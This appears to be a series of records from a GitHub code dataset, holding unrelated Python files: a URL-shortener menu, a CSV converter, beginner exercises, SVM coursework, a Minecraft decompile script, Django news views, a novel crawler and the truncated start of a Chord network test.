(\"\"\"\n\\033[1;96m╔═╗\\033[1;97m┬ ┬┌─┐┬─┐┌┬┐ \\033[1;96m╦ \\033[1;97m┬┌┐┌┬┌─ \\033[1;97m{\\033[1;93m•\\033[1;97m} Creator \\033[1;93m:\\033[1;97m AmmarrBN\n\\033[1;96m╚═╗\\033[1;97m├─┤│ │├┬┘ │ \\033[1;96m║ \\033[1;97m││││├┴┐ \\033[1;97m{\\033[1;93m•\\033[1;97m} Githubb \\033[1;93m:\\033[1;92m github.com/AmmarrBN\n\\033[1;96m╚═╝\\033[1;97m┴ ┴└─┘┴└─ ┴ \\033[1;96m╩═╝\\033[1;97m┴┘└┘┴ ┴ \\033[1;97m{\\033[1;93m•\\033[1;97m} Thx For All Member \\033[1;95mExecuted Team\n\"\"\")\n\ndef inputt():\n print (f\"\"\"\\033[1;97m1{R}.\\033[1;92mShort Link\n\\033[1;97m2{R}.\\033[1;97mLaporkan {Y}Bug\n\\033[1;97m3{R}.\\033[1;97mExit\n\"\"\")\n pil = input(f\"{W}Pilih Menu Tools {R}:{G} \")\n if pil == \"1\":\n print (f\"{W}[{Y}1{W}]{R}.{W} Short Ke {G}'{W}bitly{G}'\\n{W}[{Y}2{W}]{R}. {W}Short Ke {G}'{W}tinyurl{G}'\")\n pilih=input(f\"{W}Pilih Menu Tools {R}:{G} \")\n if pilih == \"1\":\n bitly()\n tanya()\n if pilih == \"2\":\n tinyurl()\n tanya()\n if pil == \"2\":\n os.system(\"xdg-open https://www.instagram.com/ammarexecuted\")\n tanya()\n if pil == \"3\":\n print (f\"{W}[{R}!{W}] Program Dihentikan {R}!!!\")\n sys.exit()\n\nbanner()\ninputt()\n","repo_name":"AmmarrBN/Short-Link","sub_path":"shortn.py","file_name":"shortn.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28856777463","text":"import json\nimport os\nfrom PIL import Image\n\nimport common\n\n\ndef to_internal_csv(source_folder, dest_folder):\n data = read_internal(source_folder)\n\n csv_string = 'filename,width,height,class,xmin,ymin,xmax,ymax'\n\n for img_data in data:\n img = common.get_image_data('/'.join([source_folder, 'images', img_data['filename']]))\n\n for markup in img_data['markups']:\n markup_string = ','.join([ 'images/' + img['filename'], str(img['width']), str(img['height']), markup[\"label\"], str(markup['x']), str(markup['y']), str(markup['x1']), str(markup['y1'])])\n csv_string += '\\n' + markup_string\n\n common.save_file(csv_string, dest_folder + '/markup.csv')\n common.copy_folder(source_folder + '/images', dest_folder + '/images')\n\n\ndef read_internal(folder):\n files = []\n filenames = os.listdir(folder + '/images')\n\n for filename in filenames:\n with open('/'.join([folder, 'markup', os.path.splitext(filename)[0] + '.json']), 'r') as file:\n files.append({'filename': filename, 'markups': json.loads(file.read())})\n return files\n","repo_name":"RacoonSTR/ORI_Test","sub_path":"src/internal.py","file_name":"internal.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4057756234","text":"'''\nProgrammer: Mahrokh Ebrahimi\n\nDiscroption:\nwrite a program to ask 5 users for their gender and age. Print the total number of users that their age is under or 40 years old and are female or they are male and older than or 25 years old. \nDate: 6/30/2020\n\n'''\ngender_count_female = 0\ngender_count_male = 0\nage_count_under_forty = 0\nage_count_older_twnty = 0\nf = 20\nm = 30\n\nfor i in range(3):\n gender = input('what is your gender? f/m')\n if (gender == f):\n gender_count_female += 1\n elif (gender == m):\n gender_count_male += 1\n \n age = int(input('how old are you?'))\n if (age < 41):\n age_count_older_twnty += 1\n if (age_count_older_twnty):\n age_count_older_twnty += 1\n \n# total number of users that their age is under or 40 years old and are female\nx = age_count_under_forty + gender_count_female\nprint(' total number of users that their age is under or 40 years old and are female = ', x)\n\n# they are male and older than or 25\ny = age_count_older_twnty + gender_count_male\nprint('they are male and older than or 25 = ', y)\n\n ","repo_name":"Mahrokh-Eb/Machine-Learning-With-Python","sub_path":"program-3.py","file_name":"program-3.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"16754150046","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.io import loadmat\nfrom sklearn import svm\n\n'''\n1.1 Example Dataset 1\n'''\nmat = loadmat('E:\\machine_learning\\data\\ex6data1.mat')\nprint(mat.keys())\nX = mat['X']\ny = mat['y']\n\ndef plotData(X, y):\n plt.figure(figsize=(8,5))\n plt.scatter(X[:,0], X[:,1], c=y.flatten(), cmap='rainbow')\n plt.xlabel('X1')\n plt.ylabel('X2')\n plt.legend()\nplotData(X, y)\n\ndef plotBoundary(clf, X):\n '''plot decision bondary'''\n x_min, x_max = X[:,0].min()*1.2, X[:,0].max()*1.1\n y_min, y_max = X[:,1].min()*1.1,X[:,1].max()*1.1\n xx, yy = np.meshgrid(np.linspace(x_min, x_max, 500),\n np.linspace(y_min, y_max, 500))\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n plt.contour(xx, yy, Z)\n\nmodels = [svm.SVC(C, kernel='linear') for C in [1, 100]] # 很奇特的语法\nclfs = [model.fit(X, y.ravel()) for model in models] # 很奇特的语法\ntitle = ['SVM Decision Boundary with C = {} (Example Dataset 1'.format(C) for C in [1, 100]]\nfor model,title in zip(clfs,title): # 将不同的数组进行打包;\n plt.figure(figsize=(8, 5))\n plotData(X, y)\n plotBoundary(model, X)\n plt.title(title)\n\n'''\n1.2 SVM with Gaussian Kernels\n'''\ndef gaussKernel(x1, x2, sigma):\n return np.exp(- ((x1 - x2) ** 2).sum() / (2 * sigma ** 2))\ngaussKernel(np.array([1, 2, 1]),np.array([0, 4, -1]), 2.)\n\nmat = loadmat('E:\\machine_learning\\data\\ex6data2.mat')\nX2 = mat['X']\ny2 = mat['y']\nplotData(X2, y2)\n\nsigma = 0.1\ngamma = np.power(sigma,-2.)/2\nclf = svm.SVC(C=1, kernel='rbf', gamma=gamma)\nmodle = clf.fit(X2, y2.flatten())\nplotData(X2, y2)\nplotBoundary(modle, X2)\n\n\n''''''\nmat3 = loadmat('E:\\machine_learning\\data\\ex6data3.mat')\nX3, y3 = mat3['X'], mat3['y']\nXval, yval = mat3['Xval'], mat3['yval']\nplotData(X3, y3)\n\n\nCvalues = (0.01, 0.03, 0.1, 0.3, 1., 3., 10., 30.)\nsigmavalues = Cvalues\nbest_pair, best_score = (0, 0), 0\n\nfor C in Cvalues:\n for sigma in sigmavalues:\n gamma = np.power(sigma,-2.)/2\n model = svm.SVC(C=C,kernel='rbf',gamma=gamma)\n model.fit(X3, y3.flatten())\n this_score = model.score(Xval, yval)\n if this_score > best_score:\n best_score = this_score\n best_pair = (C, sigma)\nprint('best_pair={}, best_score={}'.format(best_pair, best_score))\n# best_pair=(1.0, 0.1), best_score=0.965\nmodel = svm.SVC(C=1., kernel='rbf', gamma = np.power(.1, -2.)/2)\nmodel.fit(X3, y3.flatten())\nplotData(X3, y3)\nplotBoundary(model, X3)","repo_name":"nightzero123/machine_learning","sub_path":"SVM/theory.py","file_name":"theory.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29782850316","text":"# This algorithm written in Python 3.7\nnumber = 1\nmaxim = 20\ndivs = list()\nfor i in range(2, maxim+1):\n temp = i\n for d in divs:\n if temp % d == 0:\n temp = int(temp / d)\n if temp > 1:\n divs.append(temp)\n\nfor i in divs:\n number *= i\n\nprint(\"The smallest number divisible by all the numbers \"\n \"from 1 to {} is {}\".format(maxim, number))","repo_name":"salmanchik1/Project_Euler","sub_path":"5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38326527102","text":"from pathlib import Path\nimport shutil\nimport subprocess\nfrom zipfile import ZipFile\nimport requests\nimport hashlib\nimport json\nimport os\nfrom diff_match_patch import diff_match_patch\nside='client or server'\nversion='1.19.2'\ndef download(url, path, byteMode=False):\n if byteMode:\n with open(path, 'wb') as file:\n file.write(requests.get(url).content)\n else:\n with open(path, 'w') as file:\n file.write(requests.get(url).content.decode('utf-8'))\ndef cleanBrackets(line, counter):\n while '[]' in line:\n counter += 1\n line = line[:-2]\n return line, counter\ndef remapPath(path):\n remapSymbols = {\"int\": \"I\", \"double\": \"D\", \"boolean\": \"Z\", \"float\": \"F\",\n \"long\": \"J\", \"byte\": \"B\", \"short\": \"S\", \"char\": \"C\", \"void\": \"V\"}\n return \"L\" + \"/\".join(path.split(\".\")) + \";\" if path not in remapSymbols else remapSymbols[path]\nprint('Starting creating minecraft '+side+'...')\nif not side == 'client' and not side == 'server':\n print('Invalid version side...')\n exit(1)\nwith open(Path('tmp/manifest.json'), 'r') as file:\n downloadData = json.load(file)['downloads']\nsideData = downloadData[side]\nsideMappingData = downloadData[side+'_mappings']\nrequest = requests.get(sideData['url'])\nsideHash = hashlib.sha1(request.content).hexdigest()\nrequest = requests.get(sideMappingData['url'])\nsideMappingHash = hashlib.sha1(request.content).hexdigest()\nif not sideHash == sideData['sha1']:\n print('Jar file doesnt match up...')\n exit(1)\nif not sideMappingHash == sideMappingData['sha1']:\n print('Mapping file doesnt match up...')\n exit(1)\ndownload(sideData['url'], Path('tmp/minecraft.jar'), byteMode=True)\ndownload(sideMappingData['url'], Path('tmp/mapping.txt'))\nwith open(Path('tmp/mapping.txt'), 'r') as inputFile:\n file_name = {}\n for line in inputFile.readlines():\n if line.startswith('#'):\n continue\n deobf_name, obf_name = line.split(' -> ')\n if not line.startswith(' '):\n obf_name = obf_name.split(\":\")[0]\n file_name[remapPath(deobf_name)] = obf_name\nwith open(Path('tmp/mapping.txt'), 'r') as inputFile, open(Path('tmp/mapping.tsrg'), 'w') as outputFile:\n for line in inputFile.readlines():\n if not line.startswith('#'):\n deobf_name, obf_name = line.split(' -> ')\n if line.startswith(' '):\n obf_name = obf_name.rstrip()\n deobf_name = deobf_name.lstrip()\n method_type, method_name = deobf_name.split(\" \")\n method_type = method_type.split(\":\")[-1]\n if \"(\" in method_name and \")\" in method_name:\n variables = method_name.split('(')[-1].split(')')[0]\n function_name = method_name.split('(')[0]\n array_length_type = 0\n method_type, array_length_type = cleanBrackets(method_type, array_length_type)\n method_type = remapPath(method_type)\n method_type = \"L\"+file_name[method_type]+\";\" if method_type in file_name else method_type\n if \".\" in method_type:\n method_type = \"/\".join(method_type.split(\".\"))\n for i in range(array_length_type):\n if method_type[-1] == \";\":\n method_type = \"[\" + method_type[:-1] + \";\"\n else:\n method_type = \"[\" + method_type\n\n if variables != \"\":\n array_length_variables = [0] * len(variables)\n variables = list(variables.split(\",\"))\n for i in range(len(variables)):\n variables[i], array_length_variables[i] = cleanBrackets(variables[i], array_length_variables[i])\n variables = [remapPath(variable)for variable in variables]\n variables = [\"L\" + file_name[variable] + \";\" if variable in file_name else variable for variable in variables]\n variables = [\"/\".join(variable.split(\".\")) if \".\" in variable else variable for variable in variables]\n for i in range(len(variables)):\n for j in range(array_length_variables[i]):\n if variables[i][-1] == \";\":\n variables[i] = \"[\" + \\\n variables[i][:-1] + \";\"\n else:\n variables[i] = \"[\" + variables[i]\n variables = \"\".join(variables)\n\n outputFile.write(f'\\t{obf_name} ({variables}){method_type} {function_name}\\n')\n else:\n outputFile.write(f'\\t{obf_name} {method_name}\\n')\n\n else:\n obf_name = obf_name.split(\":\")[0]\n outputFile.write(remapPath(obf_name)[1:-1] + \" \" + remapPath(deobf_name)[1:-1] + \"\\n\")\nos.mkdir(Path('libraries'))\ndownload('https://dedouwe.nl/download-data/fernflower.jar',Path('libraries/fernflower.jar'), byteMode=True)\ndownload('https://repo.maven.apache.org/maven2/net/md-5/SpecialSource/1.10.0/SpecialSource-1.10.0-shaded.jar',Path('libraries/specialsource.jar'), byteMode=True)\njarIn = Path('tmp/minecraft.jar')\njarOut = Path('tmp/deobf.jar')\nsrgIn = Path(f'tmp/mapping.tsrg')\nsubprocess.run(['java', '-jar', Path('libraries/specialsource.jar'),'--in-jar='+str(jarIn), '--out-jar='+str(jarOut), '--srg-in='+str(srgIn)])\nif Path('tmp/deobf.jar').exists():\n print('Failed...')\n exit(-1)\nos.makedirs(Path(f'tmp/decomp/'))\nsource = Path(f'tmp/deobf.jar')\ndest = Path(f'tmp/decomp/')\nsubprocess.run(['java', '-jar', Path('libraries/fernflower.jar'),source.absolute(), dest.absolute()])\nif not Path(f'tmp/decomp/deobf.jar').exists():\n print('Failed...')\n exit(-1)\nos.makedirs(Path(f'tmp/src/'))\nwith ZipFile(Path(f'tmp/decomp/deobf.jar')) as zip:\n zip.extractall(Path(f'src/{version}/{side}/'))\nshutil.rmtree(Path(f'src/{version}/{side}/META-INF/'))\ndmp=diff_match_patch()\n","repo_name":"dedouwe26/mcdemaster","sub_path":"patcher.py","file_name":"patcher.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9483836000","text":"import sys\nfrom itertools import combinations\n\ns = []\nfor _ in range(9):\n num = int(sys.stdin.readline())\n s.append(num)\ns.sort()\n\nfor number in combinations(s,7):\n if sum(number) == 100:\n for n in number:\n print(n)\n break\n\n","repo_name":"lJINSUSl/DataStructure_Algorithm","sub_path":"백준모음/백준_알고리즘_완전탐색/2309.py","file_name":"2309.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43519001753","text":"import re\n\n\nclass CDIF:\n def __init__(self, LOGGER=None):\n CDIF_DIR = \"files\"\n CDIF_FILE_NAME = \"test\"\n CDIF_FILE_EXT = \".xlsx\"\n\n CDIF_TABS_DICT = {\n \"1. Partners\": {\n \"alternate_tab\": \"1. Suppliers\",\n \"required\": True,\n \"compulsory_columns\": [\n \"Partner Name\",\n \"Partner Type\"\n \"Partner Contact- Name\",\n \"Partner Contact- Email\",\n \"Partner Emergency Contact- Name\",\n \"Partner Emergency Contact- Email\",\n \"Tier Level\",\n \"Higher Tier Partner\",\n ],\n \"duplicates_subset\": [\n \"Partner Contact- Email\",\n \"Partner Emergency Contact- Email\",\n ],\n # Revanth\n },\n \"2. Part sourcing\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\"Part #\", \"Partner Name\", \"Partner Part #\"],\n \"duplicates_subset\": ['Part #','Description','Partner Part #','Annual Spend on Partner Part'],\n # Rajveer\n },\n \"3. BOM and Alt Parts\": {\n \"alternate_tab\": \"3. BOM\",\n \"required\": True,\n \"compulsory_columns\": [\"Product name\", \"Part #\"],\n \"duplicates_subset\": [\"Product name\", \"Part #\"],\n # Athul\n },\n \"4. Product\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\"Product Name\"],\n \"duplicates_subset\": [\n \"Product Hierarchy Level 1\",\n \"Product Hierarchy Level 2\",\n \"Product Hierarchy Level 3\",\n \"Product Hierarchy Level 4\",\n \"Product Hierarchy Level 5\",\n \"Product Hierarchy Level 6\",\n ], \n # Subash\n },\n \"5. Executional Details\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\"Part #\"],\n \"duplicates_subset\": [\"Part #\"], \n #Avinash\n },\n \"6. Site List\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\n \"Site Number\",\n \"Street Address 1\",\n \"City\",\n \"State/ Province\",\n \"Country\",\n \"Partner Name\",\n \"Site Emergency Contact- Name\",\n \"Site Emergency Contact- Email\",\n \"Alternate Site Number\",\n \"Alternate Site Bring Up Time\",\n \"Activity\",\n \"Recovery Time\",\n ],\n \"duplicates_subset\": [\n \"Site Number\",\n \"Activity\",\n \"Alternate Site Number\",\n \"Recovery Time\",\n \"Alternate Site Bring Up Time\",\n \"Street Address 1\",\n \"Street Address 2\",\n \"City\",\n \"State/ Province\",\n \"Postal/ Zip Code\",\n \"Country\",\n \"Site DUNS Number\",\n \"Subcontractor Name\",\n \"Site Emergency Contact- Email\",\n ], \n #Anchal\n },\n \"7. Product - Site Map\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\n \"Product Name\",\n \"Site Number\",\n \"Activity\",\n \"Recovery Time\",\n ],\n \"duplicates_subset\": [\n \"Product Name\",\n \"Site Number\",\n \"Activity\",\n \"Recovery Time\",\n ], \n # Dheeraj \n },\n \"8. Part - Site Map\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\n \"Partner Name\",\n \"Partner Part #\",\n \"Site Number\",\n \"Activity\",\n \"Recovery Time\",\n ],\n \"duplicates_subset\": [\n \"Partner Name\",\n \"Partner Part #\",\n \"Site Number\",\n \"Activity\",\n \"Recovery Time\",\n ],# padmini\n },\n \"9. Customer Contact Information\": {\n \"alternate_tab\": None,\n \"required\": False,\n \"compulsory_columns\": [\n \"Name of Contact\",\n \"Contact Email Address\",\n ], #Sujith\n },\n \"11. Site to Site Mapping\": {\n \"alternate_tab\": None,\n \"required\": True,\n \"compulsory_columns\": [\"From Site Number\", \"To Site Number\"],\n \"duplicates_subset\":['From Site Number', 'To Site Number']\n }, #Sujith\n }\n CDIF_ALT_TABS_DICT = {\n \"1. Suppliers\": {\n \"compulsory_columns\": [\n \"Supplier Name\",\n \"Supplier Contact- Name\",\n \"Supplier Contact- Email\",\n \"Supplier Emergency Contact- Name\",\n \"Supplier Emergency Contact- Email\",\n \"Tier Level\",\n \"Higher Tier Supplier\",\n ],\n },\n \"3. BOM\": {\n \"compulsory_columns\": [\"Product name\", \"Part #\"],\n },\n }\n self.CDIF_TABS_DICT = CDIF_TABS_DICT\n self.CDIF_ALT_TABS_DICT = CDIF_ALT_TABS_DICT\n self.CDIF_DIR = CDIF_DIR\n self.CDIF_FILE_NAME = CDIF_FILE_NAME\n self.CDIF_FILE_EXT = CDIF_FILE_EXT\n self.LOGGER = LOGGER\n\n def shortened_tab_name(self, tab):\n reg_exp1 = \"^\\d+. \"\n reg_exp2 = \"s$\"\n tab = re.sub(reg_exp1, \"\", tab)\n tab = re.sub(reg_exp2, \"\", tab)\n tab = tab.replace(\" \", \"_\").replace(\"-\", \"\").replace(\"__\", \"_\").lower()\n return tab\n\n def alternate_supplier_tab_headers(self, headers):\n alternate_headers = []\n for header in headers:\n if header == \"Supplier Category\":\n header = \"Category\"\n header = header.replace(\"Supplier\", \"Partner\")\n alternate_headers.append(header)\n\n return alternate_headers\n\n def missing_headers(self, tabs, headers):\n tab, reference_tab = tabs\n\n if tab == reference_tab:\n compulsory_cols = self.CDIF_TABS_DICT.get(tab).get(\"compulsory_columns\")\n else:\n compulsory_cols = self.CDIF_ALT_TABS_DICT.get(tab).get(\"compulsory_columns\")\n return list(set(compulsory_cols) - set(headers))\n\n def alternate_headers(self, tabs=None, headers=None):\n tab, reference_tab = tabs\n if tab != reference_tab:\n shortened_tab_name = self.shortened_tab_name(tab)\n header_function = f\"alternate_{shortened_tab_name}_tab_headers\"\n if hasattr(eval(self.__class__.__name__), header_function):\n return eval(f\"self.{header_function}({headers})\")\n return None\n\n def duplicate_subset(self, tabs=None, headers=None):\n tab, reference_tab = tabs\n duplicate_subset = self.CDIF_TABS_DICT.get(reference_tab).get(\n \"duplicate_subset\", None\n )\n if duplicate_subset:\n return list(set(headers).intersection(set(duplicate_subset)))\n return None\n\n\n# class Constants:\n# CDIF_DIR = \"files\"\n# CDIF_FILE_NAME = \"test\"\n# CDIF_FILE_EXT = \".xlsx\"\n\n# CDIF_TABS_DICT = {\n# \"1. Partners\": {\n# \"alternate_tab\": \"1. Suppliers\",\n# \"required\": True,\n# \"compulsory_columns\": [\n# \"Partner Name\",\n# \"Partner Contact- Name\",\n# \"Partner Contact- Email\",\n# \"Partner Emergency Contact- Name\",\n# \"Partner Emergency Contact- Email\",\n# \"Tier Level\",\n# \"Higher Tier Partner\",\n# ],\n# },\n# \"2. Part sourcing\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\"Part #\", \"Partner Name\", \"Partner Part #\"],\n# },\n# \"3. BOM and Alt Parts\": {\n# \"alternate_tab\": \"BOM\",\n# \"required\": True,\n# \"compulsory_columns\": [\"Product name\", \"Part #\"],\n# },\n# \"4. Product\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\"Product Name\"],\n# },\n# \"5. Executional Details\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"duplicates_subset\": [\"3M Demand\", \"6M Demand\"],\n# \"compulsory_columns\": [\"Part #\"],\n# },\n# \"6. Site List\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\n# \"Site Number\",\n# \"Street Address 1\",\n# \"City\",\n# \"State/ Province\",\n# \"Country\",\n# \"Partner Name\",\n# \"Site Emergency Contact- Name\",\n# \"Site Emergency Contact- Email\",\n# \"Alternate Site Number\",\n# \"Alternate Site Bring Up Time\",\n# \"Activity\",\n# \"Recovery Time\",\n# ],\n# },\n# \"7. Product - Site Map\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\n# \"Product Name\",\n# \"Site Number\",\n# \"Activity\",\n# \"Recovery Time\",\n# ],\n# },\n# \"8. Part - Site Map\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\n# \"Partner Name\",\n# \"Partner Part #\",\n# \"Site Number\",\n# \"Activity\",\n# \"Recovery Time\",\n# \"Alternate Site Number\",\n# \"Alternate Site Bring Up Time\",\n# ],\n# },\n# \"9. Customer Contact Information\": {\n# \"alternate_tab\": None,\n# \"required\": False,\n# \"compulsory_columns\": [\n# \"Name of Contact\",\n# \"Contact Email Address\",\n# ],\n# },\n# \"11. Site to Site Mapping\": {\n# \"alternate_tab\": None,\n# \"required\": True,\n# \"compulsory_columns\": [\"From Site Number\", \"To Site Number\"],\n# },\n# }\n","repo_name":"Revanth-23/projectproverance","sub_path":"ProjectProvenance /utils/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":11132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4208092398","text":"# dependencias de Django\nfrom django.shortcuts import render, HttpResponse, redirect\n# Importacion de Modelos\nfrom .models import Noticia, Categoria, Comentario, Contacto\n#importacion de Formularios\nfrom .forms import NoticiaForm, ContactoForm, RegistroForm\n# importamos reverse lazy para los comentarios\nfrom django.urls import reverse_lazy\n# importacion del decorador para verificar logueo\nfrom django.contrib.auth.decorators import login_required\n# Clase mixta para verificar que un usuario este logueado antes de ejecutar\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n# Importacion de la dependencia para crear vistas en la BD \nfrom django.views.generic import CreateView\nfrom django.contrib.auth import authenticate, login\nfrom django.views import View\nfrom .forms import LoginForm\nfrom django.shortcuts import render, get_object_or_404, redirect\n\n# Clases de Registro de Usuarios\n\n\nclass Registro(View):\n template_name = 'noticias/registro.html'\n\n def get(self, request):\n form = RegistroForm() \n return render(request, self.template_name, {'form': form})\n\n def post(self, request):\n form = RegistroForm(request.POST) \n if form.is_valid():\n form.save()\n return redirect('login')\n return render(request, self.template_name, {'form': form})\n\n\nclass Login(View):\n template_name = 'noticias/login.html'\n\n def get(self, request):\n form = LoginForm()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request):\n form = LoginForm(data=request.POST)\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n # Lógica para el inicio de sesión exitoso (opcional)\n return redirect('inicio')\n return render(request, self.template_name, {'form': form})\n\n\n\n\n@login_required\ndef inicio(request):\n contexto = {}\n id_categoria = request.GET.get('id', None)\n orden = request.GET.get('orden', 'nuevas') # Obtenemos el parámetro 'orden' de la URL o establecemos el valor predeterminado 'nuevas'\n\n if id_categoria:\n noticias = Noticia.objects.filter(categoria_noticia=id_categoria)\n else:\n noticias = Noticia.objects.all() # una lista\n\n if orden == 'nuevas':\n noticias = noticias.order_by('-fecha') # Ordenamos por fecha más reciente (descendente)\n elif orden == 'viejas':\n noticias = noticias.order_by('fecha') # Ordenamos por fecha más antigua (ascendente)\n elif orden == 'alf':\n noticias = noticias.order_by('titulo') # Ordenamos alfabéticamente por título (ascendente)\n\n contexto['noticias'] = noticias\n\n cat = Categoria.objects.all().order_by('nombre')\n contexto['categorias'] = cat\n\n return render(request, 'noticias/inicio.html', contexto)\n\n\n@login_required\ndef Detalle_Noticias(request, pk):\n contexto = {}\n\n n = Noticia.objects.get(pk=pk)\n contexto['noticia'] = n\n\n c = Comentario.objects.filter(noticia=n)\n contexto['comentarios'] = c\n\n return render(request, 'noticias/detalle.html', contexto)\n\n@login_required\ndef editar_noticia(request, pk):\n noticia = get_object_or_404(Noticia, pk=pk)\n\n if request.method == 'POST':\n form = NoticiaForm(request.POST, request.FILES, instance=noticia)\n if form.is_valid():\n form.save()\n return redirect('noticias:detalle', pk=pk)\n else:\n form = NoticiaForm(instance=noticia)\n\n return render(request, 'noticias/editar.html', {'form': form, 'noticia': noticia})\n\n@login_required\ndef borrar_noticia(request, pk):\n noticia = get_object_or_404(Noticia, pk=pk)\n \n if request.method == 'POST':\n noticia.delete()\n return redirect('noticias:inicio') \n\n return render(request, 'noticias/borrar.html', {'noticia': noticia})\n\n\n\nclass CrearNoticia(LoginRequiredMixin, CreateView):\n\tmodel = Noticia\n\tform_class = NoticiaForm\n\ttemplate_name = 'noticias/registrar_noticia.html'\n\tsuccess_url = reverse_lazy('noticias:inicio')\n\t\n\tdef form_valid(self, form):\n\t\tnoticia = form.save(commit=False)\n\t\tnoticia.autor = self.request.user\n\t\treturn super(CrearNoticia, self).form_valid(form)\n\n\n\n\nclass Contact(CreateView):\n model = Contacto\n form_class = ContactoForm\n template_name = 'contacto/formulario.html'\n success_url = reverse_lazy('noticias:registrar_noticia')\n \n def form_valid(self, form):\n contacto = form.save(commit=False)\n return super(Contact, self).form_valid(form)\n\n\n@login_required\ndef Comentar_Noticia(request):\n comentario = request.POST.get('comentario', None)\n user = request.user\n noti = request.POST.get('id_noticia', None)\n noticia = Noticia.objects.get(pk=noti)\n coment = Comentario.objects.create(\n usuario=user, noticia=noticia, texto=comentario)\n return redirect(reverse_lazy('noticias:detalle', kwargs={\"pk\": noti}))\n\n\n","repo_name":"ElciorBro/proyecto_grupo_4","sub_path":"apps/noticias/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5091,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2250910200","text":"import re\nimport os\n\ndef get_toc(html):\n \"\"\"\n 获取每一章链接,储存到一个列表并返回\n :param html: 目录页源代码\n :return: 每章链接\n \"\"\"\n\n toc_url_list = []\n toc_block = re.findall('正文(.*?)</tbody',html,re.S)[0]\n toc_url = re.findall('href=\"(.*?)\"',toc_block,re.S)\n start_url = 'https://www.kanunu8.com/book3/6879/'\n for url in toc_url:\n toc_url_list.append(start_url+url)\n\n return toc_url_list\n\ndef get_article(html):\n \"\"\"\n 获取每一章的正文并返回章节名和正文\n :param html: 正文源代码\n :return: 章节名,正文\n \"\"\"\n chapter_name = re.search('size=\"4\">(.*?)<',html,re.S).group(1)\n text_block = re.search('<p>(.*?)</p>',html,re.S).group(1)\n text_block = text_block.replace('<br />','')\n return chapter_name,text_block\n\ndef save(chapter,article):\n \"\"\"\n 将每一章保存到本地\n :param chapter: 章节名,第X章\n :param article: 正文内容\n :return: None\n \"\"\"\n os.makedirs('动物农场',exist_ok=True) #如果没有“动物农场”文件夹,就创建一个,如果有,就什么都不做\n with open(os.path.join('动物农场',chapter+'.txt'),'w',encoding='utf-8') as f:\n f.write(article)\n\nsave(get_article(get_toc(urllib2.urlopen(url).read())))","repo_name":"OctopusLian/Python-Crawler-Getstart-and-Action","sub_path":"src/ch04/fiction_web_crawler.py","file_name":"fiction_web_crawler.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43144045350","text":"'''\nLicensed under the Apache License, Version 2.0. See License.txt in the project root for license information.\n\nThis module creates N nodes and sends X messages randomly between nodes and records\nany failures. The messages are sent serially (one waits for the next).\n\nIt started as a copy of SerialStressTest but lasts for one hour.\n\nCreated on Oct 29, 2014\n\n@author: dfleck\n'''\n\nfrom twisted.trial import unittest\nfrom twisted.internet import reactor, defer\nfrom twisted.python import log\n\nfrom gmu.chord import NetworkUtils, Config\nfrom gmu.chord.NodeLocation import NodeLocation\nfrom gmu.chord.ChordNode import ChordNode\nfrom gmu.chord.MetricsMessageObserver import MetricsMessageObserver\nfrom gmu.chord.CopyEnvelope import CopyEnvelope\n\nimport TestUtils\nimport datetime\nimport random\nimport sys\n\n\nfrom ConnectivityCounter import ConnectivityCounter\n\nnumNodes = 5 # 15\ntimeLimit = 1 # Minutes\n#timeLimit = 0.2 # Minutes\n\nclass LongSerialStressTest(unittest.TestCase):\n \n @classmethod\n def setUpClass(cls):\n super(LongSerialStressTest, cls).setUpClass()\n LongSerialStressTest.logObs = log.startLogging(sys.stdout)\n \n # Turn off warning\n Config.WARN_NO_MESSAGE_AUTHENTICATOR = False\n Config.ALLOW_NO_AUTHENTICATOR = True\n \n @classmethod\n def tearDownClass(cls):\n super(LongSerialStressTest, cls).tearDownClass()\n if LongSerialStressTest.logObs is not None:\n LongSerialStressTest.logObs.stop()\n \n def setUp(self):\n '''Start the 